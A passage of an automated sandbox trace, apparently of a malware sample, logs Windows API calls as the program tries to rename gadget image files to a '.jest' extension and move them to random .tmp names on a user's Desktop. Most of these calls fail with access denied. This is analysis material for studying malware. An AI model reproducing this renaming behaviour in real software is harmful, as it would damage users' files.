HALPmcxz\\Desktop\\IkIZrGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp", lpFilePart=0x18e6e4*="IkIZrGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp") returned 0x8f [0126.140] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IkIZrGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5a496b49, cFileName="rGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.140] GetLastError () returned 0x2 [0126.140] GetLastError () returned 0x2 [0126.140] SetLastError (dwErrCode=0x2) [0126.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.141] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.141] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.141] GetLastError () returned 0x0 [0126.141] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.141] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.141] GetLastError () returned 0x0 [0126.141] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.142] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.142] GetTickCount () returned 0x1151fc1 [0126.142] GetTickCount () returned 0x1151fc1 [0126.142] GetTickCount () returned 0x1151fc1 [0126.142] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.142] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.142] GetTickCount () returned 0x1151fc1 [0126.142] IsWindowVisible (hWnd=0x30268) returned 0 [0126.142] Sleep (dwMilliseconds=0x0) [0126.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.144] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.144] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png.jest")) returned 0 [0126.144] GetLastError () returned 0x5 [0126.144] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹨湰g") returned 0x4d [0126.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.144] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹨湰g") returned 0x4d [0126.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=78, lpWideCharStr=0x1467bd4, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png") returned 78 [0126.144] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹨湰⹧敪瑳") returned 0x52 [0126.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.144] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹨湰⹧敪瑳") returned 0x52 [0126.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=83, lpWideCharStr=0x144bb04, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png.jest") returned 83 [0126.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png", lpUsedDefaultChar=0x0) returned 78 [0126.145] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png", lpFilePart=0x18e6d8*="trad_h.png") returned 0x4d [0126.145] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f8d3b8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f8d3b8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb574025c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x78, dwReserved1=0x0, cFileName="trad_h.png", cAlternateFileName="")) returned 0x143ce48 [0126.145] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.145] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.145] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xe)) [0126.145] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xe)) [0126.145] GetUserDefaultLCID () returned 0x409 [0126.145] VarBstrFromR4 (in: fltIn=0x47944502, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.02") returned 0x0 [0126.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="Í") returned 1 [0126.145] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.146] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.146] GetTickCount () returned 0x1151fc1 [0126.146] GetTickCount () returned 0x1151fc1 [0126.146] GetTickCount () returned 0x1151fc1 [0126.146] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.146] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.146] GetTickCount () returned 0x1151fc1 [0126.146] IsWindowVisible (hWnd=0x30268) returned 0 [0126.146] Sleep (dwMilliseconds=0x0) [0126.159] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.160] GetFullPathNameA (in: lpFileName="FshwZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FshwZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp", lpFilePart=0x18e708*="FshwZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp") returned 0x8d [0126.160] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png", lpFilePart=0x18e708*="trad_h.png") returned 0x4d [0126.160] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FshwZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fshwzfuzghxdg-ivub-hjsbfclrvyqj qgrkqgtbngwnlvkw5cxpblaeahiq3jgdx_iviwovuyrs7us8hc8xptwwth x-ssyj66.tmp")) returned 0 [0126.160] GetLastError () returned 0x5 [0126.160] GetLastError () returned 0x5 [0126.160] SetLastError (dwErrCode=0x5) [0126.160] GetLastError () returned 0x5 [0126.160] SetLastError (dwErrCode=0x5) [0126.160] GetLastError () returned 0x5 [0126.160] SetLastError (dwErrCode=0x5) [0126.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.161] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.161] GetFullPathNameA (in: lpFileName="FshwZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FshwZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp", lpFilePart=0x18e6e4*="FshwZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp") returned 0x8d [0126.161] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FshwZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77687346, cFileName="ZfuZgHxDG-IvUb-hJSbfClRvYqJ QgrkQgTBnGwnlvKw5CxpblAEAhIq3JgdX_IVIwOVuyRS7Us8Hc8xPTwwth x-SSyj66.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.161] GetLastError () returned 0x2 [0126.161] GetLastError () returned 0x2 [0126.161] SetLastError (dwErrCode=0x2) [0126.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.161] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.162] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.162] GetLastError () returned 0x0 [0126.162] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.162] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.162] GetLastError () returned 0x0 [0126.162] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.162] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.162] GetTickCount () returned 0x1151fd1 [0126.162] GetTickCount () returned 0x1151fd1 [0126.162] GetTickCount () returned 0x1151fd1 [0126.162] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.163] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.163] GetTickCount () returned 0x1151fd1 [0126.163] IsWindowVisible (hWnd=0x30268) returned 0 [0126.163] Sleep (dwMilliseconds=0x0) [0126.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.221] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.222] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png.jest")) returned 0 [0126.222] GetLastError () returned 0x5 [0126.222] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹭湰g") returned 0x4d [0126.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.222] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹭湰g") returned 0x4d [0126.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=78, lpWideCharStr=0x144ddec, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png") returned 78 [0126.222] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹭湰⹧敪瑳") returned 0x52 [0126.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.222] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹭湰⹧敪瑳") returned 0x52 [0126.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=83, lpWideCharStr=0x14cf144, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png.jest") returned 83 [0126.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png", lpUsedDefaultChar=0x0) returned 78 [0126.223] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png", lpFilePart=0x18e6d8*="trad_m.png") returned 0x4d [0126.223] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f8d3b8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f8d3b8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb57663bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x78, dwReserved1=0x0, cFileName="trad_m.png", cAlternateFileName="")) returned 0x143ce48 [0126.223] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.224] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.224] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x5c)) [0126.224] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x5c)) [0126.224] GetUserDefaultLCID () returned 0x409 [0126.224] VarBstrFromR4 (in: fltIn=0x4794450c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.09") returned 0x0 [0126.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="ð") returned 1 [0126.224] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.225] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.225] GetTickCount () returned 0x115200f [0126.225] GetTickCount () returned 0x115200f [0126.225] GetTickCount () returned 0x115200f [0126.225] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.225] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.225] GetTickCount () returned 0x115200f [0126.225] IsWindowVisible (hWnd=0x30268) returned 0 [0126.225] Sleep (dwMilliseconds=0x0) [0126.247] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.247] GetFullPathNameA (in: lpFileName="Ko_i4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ko_i4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp", lpFilePart=0x18e708*="Ko_i4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp") returned 0x8f [0126.248] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png", lpFilePart=0x18e708*="trad_m.png") returned 0x4d [0126.248] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ko_i4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ko_i4la75sxegwqw1h3bhkc_t-blntb_jpgnhwhu5tri8gn0uv8klgrbp7_7dceajrdf2-_uslumtp i894u9xkek_i10forwxezl.tmp")) returned 0 [0126.248] GetLastError () returned 0x5 [0126.248] GetLastError () returned 0x5 [0126.248] SetLastError (dwErrCode=0x5) [0126.248] GetLastError () returned 0x5 [0126.248] SetLastError (dwErrCode=0x5) [0126.248] GetLastError () returned 0x5 [0126.248] SetLastError (dwErrCode=0x5) [0126.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.249] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.249] GetFullPathNameA (in: 